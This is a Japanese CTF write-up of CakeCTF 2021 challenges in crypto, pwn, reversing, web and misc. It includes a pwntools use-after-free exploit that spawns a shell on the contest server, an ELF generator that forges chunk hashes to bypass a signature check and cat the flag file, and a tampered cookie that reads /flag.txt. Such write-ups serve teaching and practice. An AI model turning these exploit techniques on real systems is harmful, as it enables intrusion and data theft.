CakeCTF 2021 Writeup

2021-8-28 8:00 ~ 2021-8-29 20:00 (JST)に開催されたCakeCTFのWriteupです。

1548Point獲得し、29/127位でした。

f:id:miso_24:20210830111548p:plain

f:id:miso_24:20210830112101p:plain

crypto

discrete log

以下のtask.pyとoutput.txtが与えられる。

from Crypto.Util.number import getPrime, isPrime, getRandomRange

def getSafePrime(bits):
    while True:
        p = getPrime(bits - 1)
        q = 2*p + 1
        if isPrime(q):
            return q

with open("flag.txt", "rb") as f:
    flag = f.read().strip()

p = getSafePrime(512)
g = getRandomRange(2, p)
r = getRandomRange(2, p)

cs = []
for m in flag:
    cs.append(pow(g, r*m, p))

print(p)
print(g)
print(cs)

フラグ形式から最初の8文字はCakeCTF{だとわかっているため、これを利用して以下のようにg^{r}​を求める。

\begin{eqnarray} cs[0]&=& g^{67r} \\ cs[1]&=& g^{61r} \\ cs[3]&=& g^{65r} \\ cs[6]&=& g^{70r} \\ \end{eqnarray}

\begin{array} cs[6] / cs[0]= g^{(70−67)r} = g^{3r} \\ cs[3] / cs[0]= g^{(65−61)r} = g^{4r} \\ g^{4r} / g^{3r} = g^{r} \end{array}

g^{r}​が求まったらg^{32r}​からg^{126r}​まですべて計算して、csと一致しているか調べることでフラグを復元することができる。

p = 10437546272722024019828999204732888955107943650949828198627259109140978448686975465684537887922394594186252337245111335539008432037453926253500160901192763
g = 5790753109091033043555920906534946477107172664110432476269282592945055015271711541571782017364690529443594951611954104297361408826482120962445493350076672
cs = [1949325872065632561318424097440621027456122339206689118113199856699907218270581573772449540052039558900675351541534474270482937482620153555689863068089255, 185707907767611906417214814653984884698829455961524401765338215517540132876871238988811923321803405975384120626001424815919135089064859812149608575270280, 7459924199885283554466774765715630998344344197655201762354087066849472559062412380255125428057095825367966322946423634122560616422221091320142577971453236, 237365396656178938168534576231276268287354177324594852118875863167168749488503576150242483936948082163492097865473499733297564327888321081247025432266449, 1949325872065632561318424097440621027456122339206689118113199856699907218270581573772449540052039558900675351541534474270482937482620153555689863068089255, 8377332905926111637077089170224973736563085466723902964668581842166434298878093583836138199911800827283715750751066435541529771066313214936050364123220911, 4038958890214421406723692043834017152848223322538746257912592697669815730990142475914768753084661039569105092944641695682211902896218471740891594586300857, 9639659602379410595880707339071719485978653625685717821437486404425601250776282908556087444646058001389544896808244531059478689265640979560835805500568879, 8517132507240740671722277509579627795007246294914315603983183620504018734871738155530502080653958015618877460840328253715171322069864542798668246684478302, 358672686353484533766924255566725312639105036785146264509216746894672027243525144628635778669530061125014896817464777936926313644737744025229001380434666, 8517132507240740671722277509579627795007246294914315603983183620504018734871738155530502080653958015618877460840328253715171322069864542798668246684478302, 5573753547597316693339858773673006750855435605573397751191162970507435240802922789311616377028931240995666315481345696532853789606975143020746804126128154, 99589224989383443811045848301025471320213813516083838280716432539829360793205068154325132249316369765842083230647137617160980740289251239963418697891456, 3026639817564537845617825770499721844720688936373100246462865870085312780859200198731411756976916253080590808198267118707227414373823061212533108438104555, 8517132507240740671722277509579627795007246294914315603983183620504018734871738155530502080653958015618877460840328253715171322069864542798668246684478302, 3873629802793964721524332090567268241790986588418597017445867085018701768318724435165015539957302438762902056595572187042006845485720489011814318911436912, 4685912715354554262589789337776103175310658440836925789902780734248728156452775238073376500139530094285418486810223160651326272499935248903224192623218997, 4443304931018397065538466029634379012356266600131339238270978071177782541400489601600031092264634878802278299170557504831665832651208769064464705371727596, 667638208211620457769234921018049739927795269981488037605595173657309126167262027031508187185581806978149105372661470051810948258995915708944435546853945, 5867760958847891698256981476637558282634135158461073106630824828523065806955498864469742123608949291900835522470020451950292545042319004884481735419660303, 4443304931018397065538466029634379012356266600131339238270978071177782541400489601600031092264634878802278299170557504831665832651208769064464705371727596, 5573753547597316693339858773673006750855435605573397751191162970507435240802922789311616377028931240995666315481345696532853789606975143020746804126128154, 3968666712617233611520119380970617260181941394001743657813670231847147985511850917312744578009056266337991425785414420791097423440886370267617871410292590, 99589224989383443811045848301025471320213813516083838280716432539829360793205068154325132249316369765842083230647137617160980740289251239963418697891456, 8517132507240740671722277509579627795007246294914315603983183620504018734871738155530502080653958015618877460840328253715171322069864542798668246684478302, 8447795901682763453433162332834638179646241395158404119356359150703929199626659530109039202739278063499435774499623005713628028400844397525004866257985754, 667638208211620457769234921018049739927795269981488037605595173657309126167262027031508187185581806978149105372661470051810948258995915708944435546853945, 5573753547597316693339858773673006750855435605573397751191162970507435240802922789311616377028931240995666315481345696532853789606975143020746804126128154, 3873629802793964721524332090567268241790986588418597017445867085018701768318724435165015539957302438762902056595572187042006845485720489011814318911436912, 3968666712617233611520119380970617260181941394001743657813670231847147985511850917312744578009056266337991425785414420791097423440886370267617871410292590, 5573753547597316693339858773673006750855435605573397751191162970507435240802922789311616377028931240995666315481345696532853789606975143020746804126128154, 4443304931018397065538466029634379012356266600131339238270978071177782541400489601600031092264634878802278299170557504831665832651208769064464705371727596, 7213985836444992113078140453021704467682504679653955015945653024030117208623048623526910178348096428220293486057458940538114096925456603858380907314923569, 7213985836444992113078140453021704467682504679653955015945653024030117208623048623526910178348096428220293486057458940538114096925456603858380907314923569, 7213985836444992113078140453021704467682504679653955015945653024030117208623048623526910178348096428220293486057458940538114096925456603858380907314923569, 7213985836444992113078140453021704467682504679653955015945653024030117208623048623526910178348096428220293486057458940538114096925456603858380907314923569, 7213985836444992113078140453021704467682504679653955015945653024030117208623048623526910178348096428220293486057458940538114096925456603858380907314923569, 7213985836444992113078140453021704467682504679653955015945653024030117208623048623526910178348096428220293486057458940538114096925456603858380907314923569, 5573753547597316693339858773673006750855435605573397751191162970507435240802922789311616377028931240995666315481345696532853789606975143020746804126128154, 3968666712617233611520119380970617260181941394001743657813670231847147985511850917312744578009056266337991425785414420791097423440886370267617871410292590, 9697792379105321266720911055506110487166426018421073884174075881549513502154990336930762388692107317993762264509016120824587042986615390781156059053314223, 8517132507240740671722277509579627795007246294914315603983183620504018734871738155530502080653958015618877460840328253715171322069864542798668246684478302, 3026639817564537845617825770499721844720688936373100246462865870085312780859200198731411756976916253080590808198267118707227414373823061212533108438104555, 3026639817564537845617825770499721844720688936373100246462865870085312780859200198731411756976916253080590808198267118707227414373823061212533108438104555, 5172641243608313926562809671985811241829433922554389461558111353936383797141543356824749938265870678854341712821196551946517470152571176678533129238264391]

gr_4 = (cs[3] * pow(cs[1], -1, p)) % p
gr_3 = (cs[6] * pow(cs[0], -1, p)) % p
gr = gr_4 * pow(gr_3, -1, p) % p

flag = ""

for c in cs:
    for m in range(0x20, 0x7f):
        if pow(gr, m, p) == c:
            flag += chr(m)
            break

print(flag)

second bloodを取れたので嬉しい。

improvisation

以下のtask.pyとoutput.txtが与えられる。

import random

def LFSR():
    r = random.randrange(1 << 64)
    while True:
        yield r & 1
        b = (r & 1) ^\
            ((r & 2) >> 1) ^\
            ((r & 8) >> 3) ^\
            ((r & 16) >> 4)
        r = (r >> 1) | (b << 63)

if __name__ == '__main__':
    with open("flag.txt", "rb") as f:
        flag = f.read()
        assert flag.startswith(b'CakeCTF{')
        m = int.from_bytes(flag, 'little')

    lfsr = LFSR()
    c = 0
    while m:
        c = (c << 1) | ((m & 1) ^ next(lfsr))
        m >>= 1

    print(hex(c))
0x58566f59979e98e5f2f3ecea26cfb0319bc9186e206d6b33e933f3508e39e41bb771e4af053

LFSRの最初の64回でrの初期値が1bitずつ出てくるので、フラグの先頭64bitの情報があればrを完全に復元することができる。今回、フラグの最初の8文字はCakeCTF{であるから先頭64bitは既知であるため、rを復元することができる。後は、復元したrを用いてcを復号するだけである。

import math
import random
from Crypto.Util.number import *

def LFSR(r):
    while True:
        yield r & 1
        b = (r & 1) ^\
            ((r & 2) >> 1) ^\
            ((r & 8) >> 3) ^\
            ((r & 16) >> 4)
        r = (r >> 1) | (b << 63)

c = 0x58566f59979e98e5f2f3ecea26cfb0319bc9186e206d6b33e933f3508e39e41bb771e4af053

for flag_len in range(8*9, math.ceil(c.bit_length() / 8) * 8):
    prefix = int.from_bytes(b"CakeCTF{", "little")
    print(hex(prefix))

    r_bits = ""

    for i in range(64):
        r_bits += str((prefix & 1) ^ (c >> (flag_len - i - 1) & 1))
        prefix >>= 1

    lfsr = LFSR(int(r_bits[::-1], 2))
    bits = ""
    result = 0
    for i in range(flag_len):
        bits = str((c >> (flag_len - i - 1) & 1) ^ next(lfsr)) + bits

    m = int(bits[::-1], 2)
    flag = m.to_bytes(math.ceil(c.bit_length() / 8), "little")
    print(long_to_bytes(int(bits, 2))[::-1])
$ python solve.py
b'CakeCTF{\x94'
b'CakeCTF{J\x01'
...
b"CakeCTF{d0n't_3xp3c7_s3cur17y_2_LSFR}\n"
b'CakeCTF{\xaa|\xb3\xd9\x1b\xcc,B\xf9\xe6\x85yEDd\x00\xfd\xec\x1c!\x043\xc7\x1f\x07\x8bUa\x96\x16'
b'CakeCTF{7\xe5\t$\xc4\xea\x13\x86\xeaMH\xe4q*\xca\x83\xec\xd1G\r\xfe\xeb]E\x90;r\x07@/'
b'CakeCTF{\x0c\xd6|\xdf{\xa7m\xbe\xcc\x1b\xd3\xdf\x18\xf6\x96\xc1\xce\xab\xf1U\nZ\x18+\xbfZ=\xcb\xec\\'
b"CakeCTF{d0n't_3xp3c7_s3cur17y_2_LSFR}\n"

pwn

UAF4b

Use-After-Free入門問題。

以下の4つの操作を行える。

  1. cowsay->fn_dialog(cowsay->message)の実行(Use cowsay)
  2. cowsay->messageの設定(Change message)
  3. cowsayをfree(Delete cowsay)
  4. ヒープの可視化(Describe heap)

cowsayはCOWSAY構造体のインスタンスである。COWSAY構造体は以下のように定義されている。

typedef struct {
  void (*fn_dialogue)(char*);
  char *message;
} COWSAY;

cowsayをfreeした後にChange messageを実行すると、malloccowsay->messageにfreeで解放したcowsayの領域が代入されるためcowsay->fn_dialogcowsay->messageを好きな値に設定できる。fn_dialogにsystem関数のアドレス、messageに/bin/shのアドレスを代入した後に、Use cowsayでcowsay->fn_dialog(cowsay->message)を実行するとシェルが起動する。

以下の手順で解いた。

  1. Change messageで/bin/shという文字列を作成
  2. cowsayをfree
  3. Change messageでcowsay->fn_dialogにsystemのアドレスを、cowsay->messageに1で作成した/bin/shのアドレスを設定
  4. Use cowsayでシェルを起動
from pwn import *

p = remote("pwn.cakectf.com", 9001)
p.recvuntil("<system> =")
system = int(p.recvline().strip(), 16)
print(hex(system))

# change message
p.recvuntil("> ")
p.sendline("2")
p.sendline("/bin/sh")

p.recvuntil("> ")
p.sendline("4")
heap_lines = p.recvlines(19)
print("\n".join(x.decode() for x in heap_lines))

binsh = int(input("/bin/sh addr> "), 16)

# delete cowsay
p.recvuntil("> ")
p.sendline("3")

# change message
p.recvuntil("> ")
p.sendline("2")
p.send(p64(system) + p64(binsh))

# cowsay!
p.recvuntil("> ")
p.sendline("1")

p.interactive()
python solve.py
[+] Opening connection to pwn.cakectf.com on port 9001: Done
​
  [ address ]      [ heap data ]
               +------------------+
0x5557a3abb290 | 0000000000000000 |
               +------------------+
0x5557a3abb298 | 0000000000000021 |
               +------------------+ cowsay
0x5557a3abb2a0 | 00005557a190fe30 | <-- fn_dialogue (= valid function pointer)
               +------------------+
0x5557a3abb2a8 | 00005557a3abb2c0 | <-- message (= '/bin/sh')
               +------------------+
0x5557a3abb2b0 | 0000000000000000 |
               +------------------+
0x5557a3abb2b8 | 0000000000000021 |
               +------------------+ cowsay->message
0x5557a3abb2c0 | 0068732f6e69622f |
               +------------------+
0x5557a3abb2c8 | 0000000000000000 |
               +------------------+
/bin/sh addr> 0x5557a3abb2c0
[*] Switching to interactive mode
[+] You're trying to call 0x00007f57e7114410
$ ls
chall
flag-7a6f369885822f1effdbad51554c0467.txt
$ cat flag-7a6f369885822f1effdbad51554c0467.txt
CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}

reversing

nostrings

次のコードは、main関数をGhidraでコンパイルして得られたコードである。

undefined8 FUN_001011a9(void)

{
  undefined8 uVar1;
  long in_FS_OFFSET;
  int local_60;
  int local_5c;
  char local_58 [72];
  long local_10;
 
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("flag: ");
  __isoc99_scanf(&DAT_0010200b,local_58);
  local_60 = 1;
  local_5c = 0;
  do {
    if (0x39 < local_5c) {
      if (local_60 == 0) {
        puts("-_- < flag in the string...");
      }
      else {
        puts(".O. < i+! +o6 noh");
        puts(">v< this is the flag");
      }
      uVar1 = 0;
LAB_001012ae:
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return uVar1;
    }
    if (local_58[local_5c] == '\x7f') {
      puts("^o^");
      uVar1 = 1;
      goto LAB_001012ae;
    }
    local_60 = (uint)((uint)(byte)s__00104020[(long)(int)local_58[local_5c] * 0x7f + (long)local_5c]
                     == (int)local_58[local_5c]) * local_60;
    local_5c = local_5c + 1;
  } while( true );
}

local_60 = ...の部分で入力が正しいかチェックしている。

以下のようなGhidra scriptを書いてGhidraのscript managerから実行するとフラグが得られた。

flag = ""

for i in range(0x39):
    for x in range(0x20, 0x7f):
        if getByte(toAddr(0x104020 + x * 0x7f + i)) == x:
            flag += chr(x)

print(flag)
solve_nostrings.py> Running...
CakeCTF{th3_b357_p14c3_70_hid3_4_f14g_i5_in_4_f14g_f0r357
solve_nostrings.py> Finished!

Hash browns

以下はGhidraでmain関数をデコンパイルしたコードである。

undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  size_t sVar2;
  long lVar3;
  undefined8 *puVar4;
  undefined8 *puVar5;
  long in_FS_OFFSET;
  int local_3bc;
  undefined local_3b8 [4];
  int local_3b4;
  int local_3b0;
  int local_3ac;
  undefined8 local_3a8;
  undefined8 local_208;
  undefined local_62;
  undefined local_61;
  undefined local_60;
  undefined local_5f;
  char local_5e [11];
  char local_53 [11];
  byte local_48 [16];
  byte local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  lVar3 = 0x32;
  puVar4 = &DAT_001020a0;
  puVar5 = &local_3a8;
  while (lVar3 != 0) {
    lVar3 = lVar3 + -1;
    *puVar5 = *puVar4;
    puVar4 = puVar4 + 1;
    puVar5 = puVar5 + 1;
  }
  *(undefined4 *)puVar5 = *(undefined4 *)puVar4;
  *(undefined2 *)((long)puVar5 + 4) = *(undefined2 *)((long)puVar4 + 4);
  *(undefined *)((long)puVar5 + 6) = *(undefined *)((long)puVar4 + 6);
  lVar3 = 0x32;
  puVar4 = &DAT_00102240;
  puVar5 = &local_208;
  while (lVar3 != 0) {
    lVar3 = lVar3 + -1;
    *puVar5 = *puVar4;
    puVar4 = puVar4 + 1;
    puVar5 = puVar5 + 1;
  }
  *(undefined4 *)puVar5 = *(undefined4 *)puVar4;
  *(undefined2 *)((long)puVar5 + 4) = *(undefined2 *)((long)puVar4 + 4);
  *(undefined *)((long)puVar5 + 6) = *(undefined *)((long)puVar4 + 6);
  if (param_1 < 2) {
    printf("Usage: %s <flag>\n",*param_2,(long)puVar4 + 7);
  }
  else {
    sVar2 = strlen((char *)param_2[1]);
    local_3ac = (int)(sVar2 >> 1);
    if (local_3ac == 0x25) {
      local_3b4 = 0;
      while (local_3b4 < local_3ac) {
        f(local_3b4,local_3ac,&local_3bc,local_3b8);
        if (local_3bc < 0) {
          local_3bc = local_3ac + local_3bc;
        }
        local_62 = *(undefined *)((long)(local_3b4 * 2) + param_2[1]);
        local_61 = 0;
        local_60 = *(undefined *)(param_2[1] + (long)(local_3b4 * 2) + 1);
        local_5f = 0;
        md5(&local_62,local_48,local_48);
        sha256(&local_60,local_38,local_38);
        local_3b0 = 0;
        while (local_3b0 < 5) {
          sprintf(local_5e + local_3b0 * 2,"%02x",(ulong)local_48[local_3b0]);
          sprintf(local_53 + local_3b0 * 2,"%02x",(ulong)local_38[local_3b0]);
          local_3b0 = local_3b0 + 1;
        }
        iVar1 = strcmp((char *)((long)&local_3a8 + (long)local_3b4 * 0xb),local_5e);
        if (iVar1 != 0) {
          puts("Too spicy :(");
          goto LAB_00101768;
        }
        iVar1 = strcmp((char *)((long)&local_208 + (long)local_3bc * 0xb),local_53);
        if (iVar1 != 0) {
          puts("Too spicy :(");
          goto LAB_00101768;
        }
        local_3b4 = local_3b4 + 1;
      }
      puts("Yum! Yum! Yummy!!!! :)\nThe flag is one of the best ingredients.");
    }
    else {
      puts("Too sweet :(");
    }
  }
LAB_00101768:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

DAT_001020a0はmd5、DAT_00102240はsha256のテーブルである。

入力の奇数番目の文字はsha256で、偶数番目の文字はmd5ハッシュ値を求め、前述のテーブルを用いて正しい入力かどうか検証する。

i番目の文字をチェックする際、md5はテーブルのi番目の要素をチェックするが、sha256はf関数で参照するインデックスを計算する。Pythonでf関数と同様の処理を行うものを作成するのは面倒だったため、以下のコードで求めておいてPythonコード上で求まった値を利用するようにした。

#include <stdio.h>

int f(int a, int b, int *c, int *d) {
  int ret;
  if (b == 0) {
    *c = 1;
    *d = 0;
    ret = a;
  } else {
    ret = f(b, a % b, d, c);
    *d = *d - *c * (a / b);
  }
  return ret;
}

int main() {
  int c, d;
  for (int i = 0; i < 0x25; i++) {
    if (i != 0) {
      printf(",");
    }
    f(i, 0x25, &c, &d);
    if (c < 0) {
      c = c + 0x25;
    }
    printf("%d", c);
  }
}

実行すると、i番目に対応するインデックスのリストが得られる。

$ gcc -o calc_index calc_index.c
$ ./calc_index
[0,1,19,25,28,15,31,16,14,33,26,27,34,20,8,5,7,24,35,2,13,30,32,29,17,3,10,11,4,23,21,6,22,9,12,18,36]

後は、以下のGhidra scriptをGhidra上で実行するとフラグが得られた。

import hashlib

md5_hash_data = bytearray(getBytes(toAddr(0x1020a0), 0xb * 0x25)).split(b"\x00")
sha256_hash_data = bytearray(getBytes(toAddr(0x102240), 0xb * 0x25)).split(b"\x00")

hash_dict = {}
hash_dict["md5"] = {}
hash_dict["sha256"] = {}

for i in range(0x20, 0x7f):
    b = bytes(chr(i))
    hash_dict["md5"][i] = hashlib.md5(b).hexdigest()[:10]
    hash_dict["sha256"][i] = hashlib.sha256(b).hexdigest()[:10]

def find(target, algo):
    for (i, v) in hash_dict[algo].items():
        if v == bytes(target):
            return chr(i)
    return ""

flag = ""
indices = [0,1,19,25,28,15,31,16,14,33,26,27,34,20,8,5,7,24,35,2,13,30,32,29,17,3,10,11,4,23,21,6,22,9,12,18,36]

for i in range(0x25):
    flag += find(md5_hash_data[i], "md5")
    flag += find(sha256_hash_data[indices[i]], "sha256")
print(flag)
solve_hash_browns.py> Running...
CakeCTF{(^o^)==(-p-)~~(=_=)~~~POTATOOOO~~~(^@^)++(-_-)**(^o-)_486512778b4}
solve_hash_browns.py> Finished!

Ghidra scriptを使うとgetBytesで今回のハッシュ値テーブルのようなデータを楽に取得できるので非常に便利。Ghidraに感謝🙏

ALDRYA

ALDRYAというELFを検証するシステムに、自分が作成したELFをアップロードして実行してもらうことでフラグを得る問題。

./aldrya <ELF> ./sample.aldrya

サーバー上でALDRYAは上のような形式で実行される。はアップロードしたELFで、sample.aldryaはELFの検証に用いるシグネチャのようなものである。

以下はALDRYAのvalidate関数である。

undefined8 validate(FILE *param_1,undefined8 param_2)

{
  int iVar1;
  int iVar2;
  size_t sVar3;
  undefined8 uVar4;
  int iVar5;
  long in_FS_OFFSET;
  int local_34;
  long local_30;

  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  local_34 = 0;
  sVar3 = fread(&local_34,4,1,param_1);
  if (((sVar3 == 1) && (local_34 == 0x464c457f)) &&
     (iVar1 = validate_size(param_1,param_2), iVar1 != -1)) {
    iVar5 = 0;
    if (0 < iVar1) {
      do {
        iVar2 = validate_chunk(param_1,param_2);
        if (iVar2 != 0) goto LAB_00101740;
        iVar5 = iVar5 + 1;
      } while (iVar1 != iVar5);
    }
    uVar4 = 0;
  }
  else {
LAB_00101740:
    uVar4 = 1;
  }
  if (local_30 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar4;
}

validateでは次の2段階の検証が行われる

  1. 与えられたELFのサイズが正しいか(validate_size)
  2. 与えられたELFのチャンクのハッシュ値が正しいか(validate_chunk)

まずはじめにaldryaファイルの先頭4byteの値(以下sizeと表記)を使ってELFファイルのサイズを検証する。例えばsizeが0xaの場合、ELFファイルのサイズは0x900 ~ 0xa00 byteでなければならない。今回のsample.aldryaの先頭4byteは42 00 00 00であるため、ELFのサイズを0x4100 ~ 0x4200 byteにする必要がある。

ハッシュ値の検証部分では、与えられたELFを0x100byteごとに区切ってハッシュ値を計算し、正しいハッシュ値と一致しているか確認を行う。ハッシュ値を計算する部分はPythonのコードにすると以下のようになる。

def chunk_hash(data):
    x = 0x20210828
    for i in range(len(data)):
        x = ((x ^ data[i]) >> 1) | ((((x ^ data[i]) & 1) != 0) << 0x1f)
    return x

正しいハッシュ値はファイルサイズと同様に、aldryaファイルに4byte区切りで保存されている。

今回はこれらの条件を満たすELFを以下のコードで作成した。gen_chunkでチャンクの作成とハッシュ値の調整を行っている。

from ctypes import *
from struct import unpack
from keystone import *

def u32(x):
    return unpack("<I", x)[0]

def chunk_hash(data):
    x = 0x20210828
    for i in range(len(data)):
        x = ((x ^ data[i]) >> 1) | ((((x ^ data[i]) & 1) != 0) << 0x1f)
    return x

def gen_chunk(current_data, target):
    current_data = current_data + b"\x00" * (0x100 - len(current_data) - 25)
    cur_chunk = chunk_hash(current_data)
    temp_target = target
    for i in range(24):
        for j in range(256):
            temp_data = current_data + bytes([j])
            if (chunk_hash(temp_data) & (1 << 0x1f)) >> 0x1f == (temp_target & (1<<7)) >> 7:
                current_data = temp_data
                temp_target >>= 1
                break

    for i in range(256):
        temp_data = current_data + bytes([i])
        if chunk_hash(temp_data) == target:
            current_data = temp_data
            break
    return current_data

class ELFFileHeader(Structure):
    _fields_ = [
        ("e_ident", c_char * 16),
        ("e_type", c_uint16),
        ("e_machine", c_uint16),
        ("e_version", c_uint32),
        ("e_entry", c_uint64),
        ("e_phoff", c_uint64),
        ("e_shoff", c_uint64),
        ("e_flags", c_uint32),
        ("e_ehsize", c_uint16),
        ("e_phentsize", c_uint16),
        ("e_phnum", c_uint16),
        ("e_shentsize", c_uint16),
        ("e_shnum", c_uint16),
        ("e_shstrndx", c_uint16),
    ]

class ELFProgramHeader(Structure):
    _fields_ = [
        ("p_type", c_uint32),
        ("p_flags", c_uint32),
        ("p_offset", c_uint64),
        ("p_vaddr", c_uint64),
        ("p_paddr", c_uint64),
        ("p_filesz", c_uint64),
        ("p_memsz", c_uint64),
        ("p_align", c_uint64),
    ]


def gen_headers(data):
    # generate file header
    file_header = ELFFileHeader()
    # E_IDENT
    e_ident = b"\x7fELF"   # magic number
    e_ident += b"\x02"     # class
    e_ident += b"\x01"     # data
    e_ident += b"\x01"     # version
    e_ident += b"\x00"     # osabi
    e_ident += b"\x00"     # abi version
    e_ident += b"\x00" * 7 # padding
    # ELF header
    file_header.e_ident = e_ident
    file_header.e_type = 2
    file_header.e_machine = 62
    file_header.e_version = 1
    file_header.e_entry = 0x400100
    file_header.e_phoff = 0x40
    file_header.e_shoff = 0
    file_header.e_flags = 0
    file_header.e_ehsize = 0x40
    file_header.e_phentsize = 0x38
    file_header.e_phnum = 1
    file_header.e_shentsize = 0
    file_header.e_shnum = 0
    file_header.e_shstrndx = 0

    # generate program header
    prog_header = ELFProgramHeader()
    prog_header.p_type = 1
    prog_header.p_offset = 0
    prog_header.p_vaddr = 0x400000
    prog_header.p_paddr = 0x400000
    prog_header.p_filesz = len(data) + 0x80
    prog_header.p_flags = 1 | 4
    prog_header.p_memsz = len(data) + 0x80
    prog_header.p_align = 0x200000
    return file_header, prog_header

# 事前にexecve("/bin/ls", {"/bin/ls", "/", NULL}, NULL)を実行するELFを作成し、フラグのファイル名を調べている
# execve("/bin/cat", {"/bin/cat", "/flag-4c147adf5f7a18258f6709ed9402d902.txt", NULL}, NULL)
CODE = """
push rbp
mov rbp, rsp
sub rsp, 0x100
xor rdx, rdx

mov rax, 0x7461632f6e69622f
mov [rbp-0x90], rax
mov BYTE PTR [rbp-0x88], 0x0

mov rax, 0x63342d67616c662f
mov [rbp-0x80], rax
mov rax, 0x6635666461373431
mov [rbp-0x78], rax
mov rax, 0x6638353238316137
mov [rbp-0x70], rax
mov rax, 0x3439646539303736
mov [rbp-0x68], rax
mov rax, 0x742e323039643230
mov [rbp-0x60], rax
mov WORD PTR [rbp-0x58], 0x7478

lea rdi, [rbp-0x90]
mov [rbp-0x100], rdi
lea rax, [rbp-0x80]
mov [rbp-0xf8], rax
mov [rbp-0xf0], rdx

lea rdi, [rbp-0x90]
lea rsi, [rbp-0x100]
mov rax, 59
syscall
mov rdi, 0
mov rax, 60
syscall
""".encode()

# assemble
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)

elf = b""

# load aldrya file
aldrya = open("sample.aldrya", "rb")
aldrya.seek(4)

# generate elf header
target = u32(aldrya.read(4))
file_header, prog_header = gen_headers(encoding)
header = bytes(file_header) + bytes(prog_header)
elf += gen_chunk(header, target)

target = u32(aldrya.read(4))
elf += gen_chunk(bytes(encoding), target)

# add padding
for i in range(0x42 - 2):
    elf += gen_chunk(b"", u32(aldrya.read(4)))

with open("hogehoge.elf", "wb") as f:
    f.write(elf)

最後に作成したelfファイルをアップロードするとフラグが得られた。

CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}

Web

MofuMofu Diary

いろんな動物の画像が見られるサイト。

いくつかファイルが与えられるが重要なのはutil.phpである。

<?php
function img2b64($image) {
    return 'data:jpg;base64,'.base64_encode(file_get_contents($image));
}

function get_cached_contents() {
    $results = [];

    if (empty($_COOKIE['cache'])) {

        $images = glob('images/*.jpg');
        $expiry = time() + 60*60*24*7;

        foreach($images as $image) {
            $text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image);
            $description = trim(file_get_contents($text));
            array_push($results, array(
                'name' => $image,
                'description' => $description
            ));
            $_SESSION[$image] = img2b64($image);
        }

        $cookie = array('data' => $results, 'expiry' => $expiry);
        setcookie('cache', json_encode($cookie), $expiry);

    } else {

        $cache = json_decode($_COOKIE['cache'], true);
        if ($cache['expiry'] <= time()) {

            $expiry = time() + 60*60*24*7;
            for($i = 0; $i < count($cache['data']); $i++) {
                $result = $cache['data'][$i];
                $_SESSION[$result['name']] = img2b64($result['name']);
            }

            $cookie = array('data' => $cache['data'], 'expiry' => $expiry);
            setcookie('cache', json_encode($cookie), $expiry);

        }

        return $cache['data'];

    }

    return $results;
}
?>

get_cached_contentsでは、「cacheというCookieが存在しなければ、サーバーから画像に関する情報を取得しcacheを設定する。そうでなければ、cacheから画像の情報を取得する。」という処理を行っている。

cacheは以下のような構造になっている。

{
  "data": [
    {"name":"images\/01.jpg","description":"Half sleeping cat"},
    ...
    {"name":"images\/09.jpg","description":"Neko cafe @ Akihabara"}
  ],
  "expiry": 1630876790
}

nameに指定した名前のファイルが読み込まれ、base64エンコードされてimgタグのsrcに入る。そのため、nameに/flag.txtを指定し、expiryを適当に小さな値にするとフラグが得られる。

具体的に、以下のようなjsonをcacheというCookieにセットするとimgタグのsrcからbase64エンコードされたフラグが得られる。

{
  "data": [{"name": "/flag.txt", "description": "flag"}],
  "expiry": 0
}
<img src="data:jpg;base64,Q2FrZUNURns0bjFtNGxzXzRyM19oMG4zc3RfdW5sMWszX2h1bTRuc182ZTA4MWF9Cg==" alt="image">

あとはデコードするだけである。

$ echo "Q2FrZUNURns0bjFtNGxzXzRyM19oMG4zc3RfdW5sMWszX2h1bTRuc182ZTA4MWF9Cg==" | base64 -d
CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns_6e081a}

cheat

kingtaker

kingtakerという某倉庫番ライクなゲームに似たゲームをクリアする問題。

ブラウザの開発ツールのコンソール画面でグローバル変数を見ると__3_n4という2つの変数が見つかった。_n4は移動回数を保存している変数だと推測できる。

f:id:miso_24:20210830111542p:plain

試しに__3の値を0から1に書き換えてみるとステージをクリアしたことにできた。

f:id:miso_24:20210830111607p:plain

よって、__3を1にして次のステージへ移動という作業を繰り返すとフラグが得られた。

f:id:miso_24:20210830111600p:plain

misc

Break a leg

画像のLSBにフラグが隠されているので復元する問題。

chall.pngという画像ファイルと以下のchall.pyが与えられる。

from PIL import Image
from random import getrandbits

with open("flag.txt", "rb") as f:
    flag = int.from_bytes(f.read().strip(), "big")

bitlen = flag.bit_length()
data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)]

img = Image.new("RGB", (256, 256))

img.putdata([tuple(data[i:i+3]) for i in range(0, len(data), 3)])
img.save("chall.png")

フラグのi番目のビットはORで8bitのランダムな値と結合しているため、フラグのi番目に対応するLSBがすべて1なら1、そうでなければ0だとわかる。

from PIL import Image
from Crypto.Util.number import long_to_bytes
import itertools

img = Image.open("chall.png")
data = list(itertools.chain.from_iterable(img.getdata()))
for bit_len in range(9, 100):
    bits = [[] for i in range(bit_len * 8 - 1)]
    for i in range(len(data)):
        bits[i % len(bits)].append(data[i] & 1)
    
    flag = 0
    for b in bits[::-1]:
        if all(b):
            flag |= 1
        flag <<= 1
    flag >>= 1
    if flag != 0:
        print(long_to_bytes(flag))
$ python solve.py
b'CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}'

感想

